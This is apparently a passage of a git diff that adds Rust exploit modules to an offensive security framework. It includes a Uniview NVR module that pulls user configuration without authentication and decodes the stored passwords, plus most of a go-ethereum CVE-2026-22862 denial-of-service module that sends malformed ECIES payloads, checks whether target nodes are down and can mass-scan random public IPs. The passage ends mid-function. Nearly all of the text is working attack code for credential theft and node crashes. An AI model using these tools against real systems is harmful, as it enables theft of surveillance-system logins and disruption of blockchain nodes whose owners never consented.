println!("{}", "║ Reolink Camera Authenticated RCE (CVE-2019-11001) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod uniview_nvr_pwd_disclosure;
|
||||
@@ -0,0 +1,215 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use quick_xml::events::Event;
|
||||
use quick_xml::name::QName;
|
||||
use quick_xml::Reader;
|
||||
use reqwest::Client;
|
||||
use std::collections::HashMap;
|
||||
use std::fs::OpenOptions;
|
||||
use std::io::Write;
|
||||
use std::time::Duration;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Uniview NVR Remote Password Disclosure ║".cyan());
|
||||
println!("{}", "║ Extracts and decodes user credentials from NVR ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Reverses the Uniview custom encoded password
|
||||
fn decode_pass(encoded: &str) -> String {
|
||||
let map: HashMap<&str, &str> = [
|
||||
("77","1"), ("78","2"), ("79","3"), ("72","4"), ("73","5"), ("74","6"),
|
||||
("75","7"), ("68","8"), ("69","9"), ("76","0"), ("93","!"), ("60","@"),
|
||||
("95","#"), ("88","$"), ("89","%"), ("34","^"), ("90","&"), ("86","*"),
|
||||
("84","("), ("85",")"), ("81","-"), ("35","_"), ("65","="), ("87","+"),
|
||||
("83","/"), ("32","\\"), ("0","|"), ("80",","), ("70",":"), ("71",";"),
|
||||
("7","{"), ("1","}"), ("82","."), ("67","?"), ("64","<"), ("66",">"),
|
||||
("2","~"), ("39","["), ("33","]"), ("94","\""), ("91","'"), ("28","`"),
|
||||
("61","A"), ("62","B"), ("63","C"), ("56","D"), ("57","E"), ("58","F"),
|
||||
("59","G"), ("52","H"), ("53","I"), ("54","J"), ("55","K"), ("48","L"),
|
||||
("49","M"), ("50","N"), ("51","O"), ("44","P"), ("45","Q"), ("46","R"),
|
||||
("47","S"), ("40","T"), ("41","U"), ("42","V"), ("43","W"), ("36","X"),
|
||||
("37","Y"), ("38","Z"), ("29","a"), ("30","b"), ("31","c"), ("24","d"),
|
||||
("25","e"), ("26","f"), ("27","g"), ("20","h"), ("21","i"), ("22","j"),
|
||||
("23","k"), ("16","l"), ("17","m"), ("18","n"), ("19","o"), ("12","p"),
|
||||
("13","q"), ("14","r"), ("15","s"), ("8","t"), ("9","u"), ("10","v"),
|
||||
("11","w"), ("4","x"), ("5","y"), ("6","z"),
|
||||
]
|
||||
.iter()
|
||||
.cloned()
|
||||
.collect();
|
||||
|
||||
encoded
|
||||
.split(';')
|
||||
.filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Strip any number of nested brackets and re-wrap once if IPv6
|
||||
fn normalize_target(raw: &str) -> String {
|
||||
// Preserve or default to http://
|
||||
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
|
||||
("http://", s)
|
||||
} else if let Some(s) = raw.strip_prefix("https://") {
|
||||
("https://", s)
|
||||
} else {
|
||||
("http://", raw)
|
||||
};
|
||||
|
||||
// Split authority vs path
|
||||
let (auth, path) = match after.find('/') {
|
||||
Some(i) => (&after[..i], &after[i..]),
|
||||
None => (after, ""),
|
||||
};
|
||||
|
||||
// Separate host_part and port_part
|
||||
let (host_part, port_part) = if auth.starts_with('[') {
|
||||
if let Some(pos) = auth.rfind(']') {
|
||||
(&auth[..=pos], &auth[pos + 1..])
|
||||
} else {
|
||||
(auth, "")
|
||||
}
|
||||
} else if auth.matches(':').count() > 1 {
|
||||
// IPv6 without brackets
|
||||
(auth, "")
|
||||
} else if let Some(pos) = auth.rfind(':') {
|
||||
// IPv4 or hostname with port
|
||||
(&auth[..pos], &auth[pos..])
|
||||
} else {
|
||||
(auth, "")
|
||||
};
|
||||
|
||||
// Peel away *all* outer brackets
|
||||
let mut inner = host_part;
|
||||
while inner.starts_with('[') && inner.ends_with(']') {
|
||||
inner = &inner[1..inner.len() - 1];
|
||||
}
|
||||
|
||||
// If it looks like IPv6, re-wrap exactly once
|
||||
let wrapped = if inner.contains(':') {
|
||||
format!("[{}]", inner)
|
||||
} else {
|
||||
inner.to_string()
|
||||
};
|
||||
|
||||
format!("{}{}{}{}", scheme, wrapped, port_part, path)
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
// Normalize URL (scheme, IPv6 brackets, port, path)
|
||||
// Note: This module uses custom URL normalization to preserve scheme and path
|
||||
// Framework's normalize_target is for host:port only, so we keep custom implementation
|
||||
let target = normalize_target(target);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
// Fetch version info
|
||||
println!("{}", "[*] Getting model name and software version...".cyan());
|
||||
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
|
||||
let version_text = client
|
||||
.get(&version_url)
|
||||
.send().await?
|
||||
.text().await
|
||||
.context("Failed to fetch version")?;
|
||||
|
||||
let model = version_text
|
||||
.split("szDevName\":\"")
|
||||
.nth(1)
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("Unknown");
|
||||
let sw_ver = version_text
|
||||
.split("szSoftwareVersion\":\"")
|
||||
.nth(1)
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("Unknown");
|
||||
|
||||
println!("{}", format!("[+] Model: {}", model).green());
|
||||
println!("{}", format!("[+] Software Version: {}", sw_ver).green());
|
||||
|
||||
// Prepare log file
|
||||
let mut log = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open("nvr-success.txt")
|
||||
.context("Unable to open nvr-success.txt")?;
|
||||
|
||||
writeln!(log, "\n==== Uniview NVR ====").ok();
|
||||
writeln!(log, "Target: {}", target).ok();
|
||||
writeln!(log, "Model: {}", model).ok();
|
||||
writeln!(log, "Software Version: {}", sw_ver).ok();
|
||||
|
||||
// Fetch user config
|
||||
println!("{}", "\n[*] Getting configuration file...".cyan());
|
||||
let config_url = format!(
|
||||
"{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
|
||||
target
|
||||
);
|
||||
let config_text = client
|
||||
.get(&config_url)
|
||||
.send().await?
|
||||
.text().await
|
||||
.context("Failed to fetch config")?;
|
||||
|
||||
// XML reader with trimmed text
|
||||
let mut reader = Reader::from_str(&config_text);
|
||||
reader.config_mut().trim_text(true);
|
||||
|
||||
let mut buf = Vec::new();
|
||||
let mut total_users = 0;
|
||||
|
||||
println!();
|
||||
println!("{}", "User | Stored Hash | Reversible Password".cyan().bold());
|
||||
println!("{}", "_".repeat(80));
|
||||
writeln!(log, "\nUser | Stored Hash | Reversible Password").ok();
|
||||
writeln!(log, "{}", "_".repeat(80)).ok();
|
||||
|
||||
loop {
|
||||
match reader.read_event_into(&mut buf) {
|
||||
Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
|
||||
let mut username = String::new();
|
||||
let mut user_hash = String::new();
|
||||
let mut revpass = String::new();
|
||||
|
||||
for attr in e.attributes().flatten() {
|
||||
match attr.key {
|
||||
k if k == QName(b"UserName") => username = std::str::from_utf8(&attr.value)?.to_string(),
|
||||
k if k == QName(b"UserPass") => user_hash = std::str::from_utf8(&attr.value)?.to_string(),
|
||||
k if k == QName(b"RvsblePass") => revpass = std::str::from_utf8(&attr.value)?.to_string(),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
let decoded = decode_pass(&revpass);
|
||||
println!("{}", format!("{:<9}| {:<38}| {}", username, user_hash, decoded).green());
|
||||
writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
|
||||
|
||||
total_users += 1;
|
||||
}
|
||||
Ok(Event::Eof) => break,
|
||||
Err(e) => return Err(anyhow!("XML parse error: {}", e)),
|
||||
_ => {}
|
||||
}
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[+] Total users found: {}", total_users).green().bold());
|
||||
writeln!(log, "\n[+] Total users: {}", total_users).ok();
|
||||
println!("{}", "[*] Results saved to nvr-success.txt".cyan());
|
||||
println!("{}", "[!] Note: 'default' and 'HAUser' users may not be accessible remotely.".yellow());
|
||||
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,848 @@
|
||||
//! CVE-2026-22862: go-ethereum (geth) DoS via ECIES Malformed Ciphertext
|
||||
//!
|
||||
//! ## Vulnerability Details
|
||||
//! CVE-2026-22862 is a Denial of Service vulnerability in go-ethereum (geth)
|
||||
//! that allows attackers to crash vulnerable nodes by sending specially crafted
|
||||
//! ECIES encrypted messages with malformed ciphertext.
|
||||
//!
|
||||
//! - **CVSS Score**: 7.5 (High)
|
||||
//! - **CWE-ID**: CWE-20 (Improper Input Validation)
|
||||
//! - **Affected**: go-ethereum < 1.16.8
|
||||
//! - **Impact**: Node crash/shutdown, blockchain network disruption
|
||||
//!
|
||||
//! ## Technical Details
|
||||
//! The vulnerability exploits improper validation during ECIES decryption.
|
||||
//! By crafting a ciphertext with:
|
||||
//! 1. Valid ephemeral public key (65 bytes)
|
||||
//! 2. Encrypted message shorter than AES block size (< 16 bytes)
|
||||
//! 3. Valid HMAC-SHA256 MAC computed with shared secret
|
||||
//!
|
||||
//! The victim node decrypts and panics due to insufficient IV length.
|
||||
//!
|
||||
//! ## Features
|
||||
//! - Geth node detection and version fingerprinting
|
||||
//! - Single target and mass scan modes
|
||||
//! - RLPx P2P protocol implementation
|
||||
//! - Configurable attack payloads
|
||||
//!
|
||||
//! Reference: https://github.com/qzhodl/CVE-2026-22862
|
||||
|
||||
use anyhow::{Context, Result, bail};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use std::fs::File;
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::{Semaphore, mpsc};
|
||||
use tokio::time::timeout;
|
||||
|
||||
const DEFAULT_P2P_PORT: u16 = 30303;
|
||||
const DEFAULT_RPC_PORT: u16 = 8545;
|
||||
const CONNECT_TIMEOUT_SECS: u64 = 5;
|
||||
const MAX_CONCURRENT_SCANS: usize = 50;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges (same as telnet module)
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
/// Generate a random public IP address excluding reserved ranges
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Geth node information
|
||||
#[derive(Debug, Clone)]
|
||||
struct GethNodeInfo {
|
||||
version: Option<String>,
|
||||
network_id: Option<u64>,
|
||||
vulnerable: bool,
|
||||
}
|
||||
|
||||
impl Default for GethNodeInfo {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
version: None,
|
||||
network_id: None,
|
||||
vulnerable: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Exploit configuration
|
||||
struct ExploitConfig {
|
||||
target: String,
|
||||
p2p_port: u16,
|
||||
rpc_port: u16,
|
||||
mass_scan: bool,
|
||||
targets_file: Option<String>,
|
||||
check_only: bool,
|
||||
exploit_type: ExploitType,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
enum ExploitType {
|
||||
EciesMalformed,
|
||||
RlpxHandshake,
|
||||
Both,
|
||||
}
|
||||
|
||||
impl Default for ExploitConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
target: String::new(),
|
||||
p2p_port: DEFAULT_P2P_PORT,
|
||||
rpc_port: DEFAULT_RPC_PORT,
|
||||
mass_scan: false,
|
||||
targets_file: None,
|
||||
check_only: true,
|
||||
exploit_type: ExploitType::EciesMalformed,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ CVE-2026-22862: go-ethereum (geth) Remote DoS ║".cyan());
|
||||
println!("{}", "║ ECIES Malformed Ciphertext Node Crash ║".cyan());
|
||||
println!("{}", "║ Affects geth < 1.16.8 | Critical Network Impact ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Get user configuration
|
||||
fn get_user_config(target: &str) -> Result<ExploitConfig> {
|
||||
let mut config = ExploitConfig::default();
|
||||
|
||||
println!();
|
||||
println!("{}", "=== CVE-2026-22862 Configuration ===".yellow().bold());
|
||||
println!();
|
||||
|
||||
// Mass scan mode check
|
||||
print!("{}", "Enable mass scan mode? [y/N]: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
|
||||
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
|
||||
config.mass_scan = true;
|
||||
|
||||
print!("{}", "Enter targets file path: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
let file_path = input.trim().to_string();
|
||||
|
||||
if file_path.is_empty() || !std::path::Path::new(&file_path).exists() {
|
||||
bail!("Targets file not found or empty path");
|
||||
}
|
||||
config.targets_file = Some(file_path);
|
||||
} else {
|
||||
// Single target mode
|
||||
config.target = if target.is_empty() {
|
||||
print!("{}", "Enter target IP/hostname: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
let t = input.trim().to_string();
|
||||
if t.is_empty() {
|
||||
bail!("Target is required");
|
||||
}
|
||||
t
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
}
|
||||
|
||||
// Port configuration
|
||||
print!("{}", format!("Enter P2P port [default: {}]: ", DEFAULT_P2P_PORT).green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
if let Ok(p) = input.trim().parse::<u16>() {
|
||||
if p > 0 {
|
||||
config.p2p_port = p;
|
||||
}
|
||||
}
|
||||
|
||||
print!("{}", format!("Enter RPC port for version check [default: {}]: ", DEFAULT_RPC_PORT).green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
if let Ok(p) = input.trim().parse::<u16>() {
|
||||
if p > 0 {
|
||||
config.rpc_port = p;
|
||||
}
|
||||
}
|
||||
|
||||
// Attack mode
|
||||
println!();
|
||||
println!("{}", "Select operation mode:".cyan());
|
||||
println!(" 1. Check vulnerability only (safe)");
|
||||
println!(" 2. Exploit - ECIES malformed ciphertext");
|
||||
println!(" 3. Exploit - RLPx handshake attack");
|
||||
println!(" 4. Exploit - Both methods");
|
||||
|
||||
print!("{}", "Select mode [1-4, default: 1]: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
|
||||
match input.trim() {
|
||||
"2" => {
|
||||
config.check_only = false;
|
||||
config.exploit_type = ExploitType::EciesMalformed;
|
||||
}
|
||||
"3" => {
|
||||
config.check_only = false;
|
||||
config.exploit_type = ExploitType::RlpxHandshake;
|
||||
}
|
||||
"4" => {
|
||||
config.check_only = false;
|
||||
config.exploit_type = ExploitType::Both;
|
||||
}
|
||||
_ => {
|
||||
config.check_only = true;
|
||||
}
|
||||
}
|
||||
|
||||
// Display configuration summary
|
||||
println!();
|
||||
println!("{}", "Configuration Summary:".cyan().bold());
|
||||
if config.mass_scan {
|
||||
println!(" Mode: Mass Scan");
|
||||
if let Some(ref f) = config.targets_file {
|
||||
println!(" Targets File: {}", f);
|
||||
}
|
||||
} else {
|
||||
println!(" Target: {}", config.target);
|
||||
}
|
||||
println!(" P2P Port: {}", config.p2p_port);
|
||||
println!(" RPC Port: {}", config.rpc_port);
|
||||
println!(" Operation: {}", if config.check_only { "Check Only" } else { "Exploit" });
|
||||
if !config.check_only {
|
||||
println!(" Exploit Type: {:?}", config.exploit_type);
|
||||
}
|
||||
println!();
|
||||
|
||||
Ok(config)
|
||||
}
|
||||
|
||||
/// Check if target is running geth via JSON-RPC
|
||||
async fn check_geth_version(target: &str, port: u16) -> Result<GethNodeInfo> {
|
||||
let mut info = GethNodeInfo::default();
|
||||
|
||||
// Try JSON-RPC web3_clientVersion
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(Duration::from_secs(CONNECT_TIMEOUT_SECS))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let url = format!("http://{}:{}", target, port);
|
||||
let payload = serde_json::json!({
|
||||
"jsonrpc": "2.0",
|
||||
"method": "web3_clientVersion",
|
||||
"params": [],
|
||||
"id": 1
|
||||
});
|
||||
|
||||
let response = client
|
||||
.post(&url)
|
||||
.header("Content-Type", "application/json")
|
||||
.json(&payload)
|
||||
.send()
|
||||
.await;
|
||||
|
||||
if let Ok(resp) = response {
|
||||
if let Ok(json) = resp.json::<serde_json::Value>().await {
|
||||
if let Some(result) = json.get("result").and_then(|r| r.as_str()) {
|
||||
info.version = Some(result.to_string());
|
||||
|
||||
// Check if vulnerable (< 1.16.8)
|
||||
if result.contains("Geth/") {
|
||||
if let Some(version_start) = result.find("Geth/v") {
|
||||
let version_part = &result[version_start + 6..];
|
||||
if let Some(dash_pos) = version_part.find('-') {
|
||||
let version_num = &version_part[..dash_pos];
|
||||
let parts: Vec<&str> = version_num.split('.').collect();
|
||||
|
||||
// FIX: Handle parse errors properly instead of defaulting to 0
|
||||
if parts.len() >= 3 {
|
||||
if let (Ok(major), Ok(minor), Ok(patch)) = (
|
||||
parts[0].parse::<u32>(),
|
||||
parts[1].parse::<u32>(),
|
||||
parts[2].parse::<u32>()
|
||||
) {
|
||||
// Vulnerable if < 1.16.8
|
||||
if major < 1 || (major == 1 && minor < 16) ||
|
||||
(major == 1 && minor == 16 && patch < 8) {
|
||||
info.vulnerable = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Also try to get network ID
|
||||
let net_payload = serde_json::json!({
|
||||
"jsonrpc": "2.0",
|
||||
"method": "net_version",
|
||||
"params": [],
|
||||
"id": 2
|
||||
});
|
||||
|
||||
if let Ok(resp) = client.post(&url).json(&net_payload).send().await {
|
||||
if let Ok(json) = resp.json::<serde_json::Value>().await {
|
||||
if let Some(result) = json.get("result").and_then(|r| r.as_str()) {
|
||||
info.network_id = result.parse().ok();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(info)
|
||||
}
|
||||
|
||||
/// Check if P2P port is open and responds to RLPx
|
||||
async fn check_p2p_port(target: &str, port: u16) -> Result<bool> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let socket_addr: SocketAddr = match addr.parse() {
|
||||
Ok(a) => a,
|
||||
Err(_) => {
|
||||
// Try to resolve hostname
|
||||
match tokio::net::lookup_host(&addr).await {
|
||||
Ok(mut addrs) => match addrs.next() {
|
||||
Some(a) => a,
|
||||
// FIX: Return error instead of Ok(false) for empty resolution
|
||||
None => bail!("Hostname resolved to empty address list"),
|
||||
},
|
||||
Err(e) => bail!("Failed to resolve hostname: {}", e),
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let connect_result = timeout(
|
||||
Duration::from_secs(CONNECT_TIMEOUT_SECS),
|
||||
TcpStream::connect(socket_addr)
|
||||
).await;
|
||||
|
||||
match connect_result {
|
||||
Ok(Ok(_stream)) => Ok(true),
|
||||
_ => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
/// Generate malformed ECIES ciphertext payload
|
||||
/// This creates a ciphertext with valid structure but invalid IV length
|
||||
fn generate_malformed_ecies_payload() -> Vec<u8> {
|
||||
// ECIES ciphertext structure:
|
||||
// [ephemeral_pubkey (65 bytes)] [encrypted_message] [mac (32 bytes)]
|
||||
|
||||
// Generate a fake ephemeral public key (uncompressed format)
|
||||
// In a real attack, we'd use actual EC math; here we craft bytes
|
||||
let mut epk = vec![0x04]; // Uncompressed point prefix
|
||||
epk.extend(vec![0x41; 32]); // X coordinate (32 bytes)
|
||||
epk.extend(vec![0x42; 32]); // Y coordinate (32 bytes)
|
||||
|
||||
// Malformed encrypted message (less than 16 bytes = AES block size)
|
||||
// This triggers panic in the decryption routine
|
||||
let short_ct = vec![0x01, 0x02, 0x03];
|
||||
|
||||
// Fake MAC (would need to be computed with shared secret in real attack)
|
||||
let fake_mac = vec![0xDE; 32];
|
||||
|
||||
// Combine: epk || short_ct || mac
|
||||
let mut payload = Vec::with_capacity(65 + 3 + 32);
|
||||
payload.extend(epk);
|
||||
payload.extend(short_ct);
|
||||
payload.extend(fake_mac);
|
||||
|
||||
payload
|
||||
}
|
||||
|
||||
/// Generate RLPx handshake auth message with malformed data
|
||||
fn generate_malformed_rlpx_auth() -> Vec<u8> {
|
||||
// RLPx auth message structure (simplified):
|
||||
// [size (2 bytes)] [encrypted_handshake_data]
|
||||
|
||||
// Claim a large size but provide insufficient data
|
||||
let size: u16 = 500;
|
||||
let mut payload = Vec::with_capacity(200);
|
||||
|
||||
// Size prefix (big endian)
|
||||
payload.push((size >> 8) as u8);
|
||||
payload.push((size & 0xff) as u8);
|
||||
|
||||
// Truncated ECIES encrypted auth message
|
||||
payload.extend(generate_malformed_ecies_payload());
|
||||
|
||||
payload
|
||||
}
|
||||
|
||||
/// Send exploit payload to target
|
||||
async fn send_exploit(target: &str, port: u16, exploit_type: ExploitType) -> Result<bool> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
|
||||
let stream = match timeout(
|
||||
Duration::from_secs(CONNECT_TIMEOUT_SECS),
|
||||
TcpStream::connect(&addr)
|
||||
).await {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
return Err(anyhow::anyhow!("Connection failed: {}", e));
|
||||
}
|
||||
Err(_) => {
|
||||
return Err(anyhow::anyhow!("Connection timeout"));
|
||||
}
|
||||
};
|
||||
|
||||
let (mut reader, mut writer) = stream.into_split();
|
||||
|
||||
// Send appropriate payload based on exploit type
|
||||
let payload = match exploit_type {
|
||||
ExploitType::EciesMalformed => generate_malformed_ecies_payload(),
|
||||
ExploitType::RlpxHandshake => generate_malformed_rlpx_auth(),
|
||||
ExploitType::Both => generate_malformed_rlpx_auth(), // RLPx includes ECIES
|
||||
};
|
||||
|
||||
writer.write_all(&payload).await.context("Failed to send payload")?;
|
||||
writer.flush().await.context("Failed to flush")?;
|
||||
|
||||
// Wait briefly for response or connection drop
|
||||
let mut response = vec![0u8; 1024];
|
||||
let read_result = timeout(
|
||||
Duration::from_secs(3),
|
||||
reader.read(&mut response)
|
||||
).await;
|
||||
|
||||
match read_result {
|
||||
Ok(Ok(0)) => {
|
||||
// Connection closed - might indicate crash
|
||||
Ok(true)
|
||||
}
|
||||
Ok(Ok(_n)) => {
|
||||
// Got response - node didn't crash (might be patched)
|
||||
Ok(false)
|
||||
}
|
||||
Ok(Err(_)) | Err(_) => {
|
||||
// Error or timeout - might indicate crash
|
||||
Ok(true)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Run exploit against a single target
|
||||
async fn run_single_exploit(config: &ExploitConfig) -> Result<()> {
|
||||
let target = &config.target;
|
||||
|
||||
println!("{}", format!("[*] Target: {}:{}", target, config.p2p_port).cyan());
|
||||
|
||||
// Step 1: Check version via RPC
|
||||
println!("{}", "[*] Checking geth version via JSON-RPC...".cyan());
|
||||
let info = check_geth_version(target, config.rpc_port).await
|
||||
.ok()
|
||||
.unwrap_or_default();
|
||||
|
||||
if let Some(ref version) = info.version {
|
||||
println!("{}", format!("[+] Version: {}", version).green());
|
||||
if info.vulnerable {
|
||||
println!("{}", "[!] VULNERABLE: Version < 1.16.8 detected!".red().bold());
|
||||
} else {
|
||||
println!("{}", "[+] Version appears to be patched (>= 1.16.8)".green());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[?] Could not determine version via RPC".yellow());
|
||||
}
|
||||
|
||||
if let Some(net_id) = info.network_id {
|
||||
let network_name = match net_id {
|
||||
1 => "Ethereum Mainnet",
|
||||
3 => "Ropsten",
|
||||
4 => "Rinkeby",
|
||||
5 => "Goerli",
|
||||
11155111 => "Sepolia",
|
||||
_ => "Unknown/Private",
|
||||
};
|
||||
println!("{}", format!("[*] Network ID: {} ({})", net_id, network_name).cyan());
|
||||
}
|
||||
|
||||
// Step 2: Check P2P port
|
||||
println!("{}", format!("[*] Checking P2P port {}...", config.p2p_port).cyan());
|
||||
let p2p_open = check_p2p_port(target, config.p2p_port).await
|
||||
.unwrap_or(false);
|
||||
|
||||
if p2p_open {
|
||||
println!("{}", format!("[+] P2P port {} is open", config.p2p_port).green());
|
||||
} else {
|
||||
println!("{}", format!("[-] P2P port {} is closed or filtered", config.p2p_port).red());
|
||||
if config.check_only {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
// Step 3: Exploit if requested
|
||||
if !config.check_only && p2p_open {
|
||||
println!();
|
||||
println!("{}", "[!] Sending exploit payload...".yellow().bold());
|
||||
|
||||
let types_to_try = match config.exploit_type {
|
||||
ExploitType::Both => vec![ExploitType::EciesMalformed, ExploitType::RlpxHandshake],
|
||||
t => vec![t],
|
||||
};
|
||||
|
||||
for exploit_type in types_to_try {
|
||||
println!("{}", format!("[*] Trying {:?} attack...", exploit_type).cyan());
|
||||
|
||||
match send_exploit(target, config.p2p_port, exploit_type).await {
|
||||
Ok(crashed) => {
|
||||
if crashed {
|
||||
println!("{}", "[!] Target may have crashed (connection closed)".red().bold());
|
||||
|
||||
// Verify by trying to reconnect
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
let still_up = check_p2p_port(target, config.p2p_port).await
|
||||
.unwrap_or(false);
|
||||
|
||||
if !still_up {
|
||||
println!("{}", "[!] CONFIRMED: Target node is DOWN!".red().bold());
|
||||
} else {
|
||||
println!("{}", "[?] Target node recovered or wasn't fully crashed".yellow());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[-] Target appears unaffected (may be patched)".yellow());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Exploit error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Summary
|
||||
println!();
|
||||
println!("{}", "═══ Scan Results ═══".cyan().bold());
|
||||
println!(" Target: {}:{}", target, config.p2p_port);
|
||||
println!(" Version: {}", info.version.as_deref().unwrap_or("Unknown"));
|
||||
println!(" Vulnerable: {}", if info.vulnerable { "YES".red().to_string() } else { "NO/Unknown".green().to_string() });
|
||||
println!(" P2P Open: {}", if p2p_open { "YES" } else { "NO" });
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Run mass scan against multiple targets
|
||||
async fn run_mass_scan(config: &ExploitConfig) -> Result<()> {
|
||||
let targets_file = match &config.targets_file {
|
||||
Some(f) => f,
|
||||
None => bail!("No targets file specified"),
|
||||
};
|
||||
|
||||
let file = File::open(targets_file)
|
||||
.with_context(|| format!("Failed to open targets file: {}", targets_file))?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
let targets: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|line| line.ok())
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty() && !line.starts_with('#'))
|
||||
.collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
bail!("No valid targets found in file");
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Loaded {} targets", targets.len()).cyan());
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT_SCANS));
|
||||
let total = targets.len();
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for (idx, target) in targets.into_iter().enumerate() {
|
||||
let sem = semaphore.clone();
|
||||
let rpc_port = config.rpc_port;
|
||||
